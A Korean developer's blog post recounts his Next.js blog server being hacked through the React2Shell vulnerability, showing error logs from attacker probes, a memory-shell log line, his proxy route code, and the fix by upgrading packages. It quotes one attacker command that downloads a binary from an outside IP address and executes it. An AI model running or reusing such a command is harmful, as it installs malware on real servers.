Nextjs, React 서버 해킹당한 경험 - React2Shell

힘센캥거루
2025년 12월 6일(수정됨)
3
41

맨 처음 보안 이슈를 접했던건 12월 5일 새벽이었다.

리액트에서 인증 없이 원격 코드 실행이 가능하다는 것.

해당 뉴스를 접하고 다른 사람에게 알렸지만, 나는 괜찮으려니 싶어 아무 생각없이 넘겼다.

Nextjs, React 서버 해킹당한 경험 - React2Shell-1

1. 해킹 흔적 발견

그런데 블로그 코드를 업데이트 하려고 접속했더니 터미널에 웬 명령어가 실행된 흔적을 발견했다.

/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
  status: 127,
  signal: null,
  output: [Array],
  pid: 66631,
  stdout: <Buffer >,
  stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
  digest: '3337667987'
}
/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found

해당 코드를 디버깅해보니 curl 명령어로 악성 파일을 다운받아 실행하려고 하고 있었다.

api의 취약점을 발견 하고, 해당 api를 모두 닫아버렸다.

curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gund

취약점은 내부 프록시 서버였는데, 이미지와 스크립트를 동시에 삽입해서 명령어를 실행하는 방식이었다.

해당 프록시 api는 닫았고, api를 함부로 외부에 노출시키면 절대 안된다는 경험을 얻었다.

// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
  try {
    const { searchParams } = new URL(req.url)
    const target = searchParams.get('url')
    if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })

    const u = new URL(target)
    if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
      return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })

    const res = await fetch(u, {
      headers: { 'User-Agent': UA },
      redirect: 'follow',
      cache: 'no-store',
    })
    if (!res.ok || !res.body) {
      return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
    }
...

2. React2Shell 공격

그 뒤로, 아무리 취약점을 보완해도 게속 해킹 공격이 들어왔다.

한번은 터미널에서 이런 로그가 떴다.

[MemShell] Loaded successfully (ESM compatible + stealth UA)

처음 보는 로그라서 AI에게 물어보니 해커들이 공격을 위해 많이 사용하는 메모리 셀이라고 했다.

nodejs를 재시작 해보기도 하고, npm 패키지를 모두 지웠다가 재설치해보기도 하고, 서버를 재시동 하기도 해봤다.

하지만 공격이 끊임없이 들어와서 어떻게 할까 하던 찰나, 내가 next와 react를 업데이트 하지 않았다 것이 문득 생각났다.

npm으로 취약점을 확인하고 수정해 주었다.

npm audit
npm audit fix

이후에는 서버를 운영해도 터미널에 이상한 로그가 뜨는 일은 없었다.

3. 느낀점

나 혼자 운영하는, 하루 50명도 들어오지 않는 이 블로그에 뭘 볼게 있다고 계속 들어오는지 모르겠다.

당연히 스캔봇으로 취약점을 탐지하고 계속 공격하는 것이겠지만, 상당히 언짢다.

그리고 취약점이 있을 때, 바로 바로 대응하는 것이 중요하다는 사실을 깨달았다.

next를 15에서 16으로 업그레이드 하면서 수정해줘야 할 것도 있어 불편하기도 했지만, 그것보다 보안이 훨씬 중요했다.

앞으로는 GeekNews에 자주 들락거려야 겠다.

관련 글

Next.js 풀스택 블로그 개발기
Next.js 풀스택 블로그 개발기
웹개발을 처음 접한지 1년정도 되었을 때, 나만의 블로그를 갖고싶다는 생각을 하게 되었다.그래서 6개월 정도 여기에만 매달려서 만들어보게 되었다.프론트 앤드에서의 기능은 아래 김도형님의 블로그를 참고하는 것으로 충분할 듯하다.나도 mdx를 이용해 블로그를 만드는데는 채...
Caddy를 이용한 Nextjs 무중단 배포(로컬서버)
Caddy를 이용한 Nextjs 무중단 배포(로컬서버)
홈페이지에 뭔가 자꾸 얹고 싶은 욕심이 들 때 마다 빌드를 했더니, 그 사이에 가끔 접속하는 사람이 종종 있긴 한것 같다.그러다 보니 서치콘솔에서 점수가 점점 하락하는 현상이 발생했다.이대로는 안될 것 같아 무중단 배포를 하는 방법을 생각해 보게 되었다.1. 대표적인 ...
구글 검색 색인 자동화 - Web Search Indexing API
구글 검색 색인 자동화 - Web Search Indexing API
지난번 IndexNow에 이어, 구글도 자동화를 해보기로 했다.찾아보니 구글은 API로 Web Search Indexing이라는 걸 지원하고 있었다.1. 허용범위공식적으로 해당 API가 지원하는 범위는 채용공고와 스트리밍 영상 서비스이다.실시간이 중요한 내용에 대해 색...
검색 색인 생성 자동화 - IndexNow
검색 색인 생성 자동화 - IndexNow
Bing에 검색등록을 하다가 알게 되었는데, Bing에서는 IndexNow라는 기능을 제공한다.핵심은 API 키를 이용해서 글을 쓰자마자 바로 색인 요청을 날릴 수 있다는 것.아래와 같은 요청을 fetch로 만들고, 글쓰기에 연동해 놓으면 글을 DB에 저장함과 동시에 ...
블로그에 다국어 기능 추가하기(NextJS, next-intl, Vercel AI SDK)
블로그에 다국어 기능 추가하기(NextJS, next-intl, Vercel AI SDK)
최근 블로그에 다국어 기능이 필요하다는 생각이 들었다.그래서 next-intl을 이용해 다국어 서비스를 구현해보기로 했다.1.i18n먼저 다국어 서비스를 할 때는 지켜야 할 원칙들이 있다.이걸 internationalization이라고 하는데, 무척 길기에 첫글자 i와...
Nextjs에 다국어 설정하기
Nextjs에 다국어 설정하기
내 블로그에 대한 유입을 늘리기 위해 어떻게 해야 할까 고민하다가 다국어 설정을 해보기로 했다.다양한 방법을 찾아 보았는데, 일단 첫걸음은 언어에 대해 다른 라우팅을 하는 것.next-intl을 이용해 해보기로 했다.1. 설치yarn add next-intl2. 적용적...

댓글을 불러오는 중...

Nextjs, React 서버 해킹당한 경험 - React2Shell | 힘센캥거루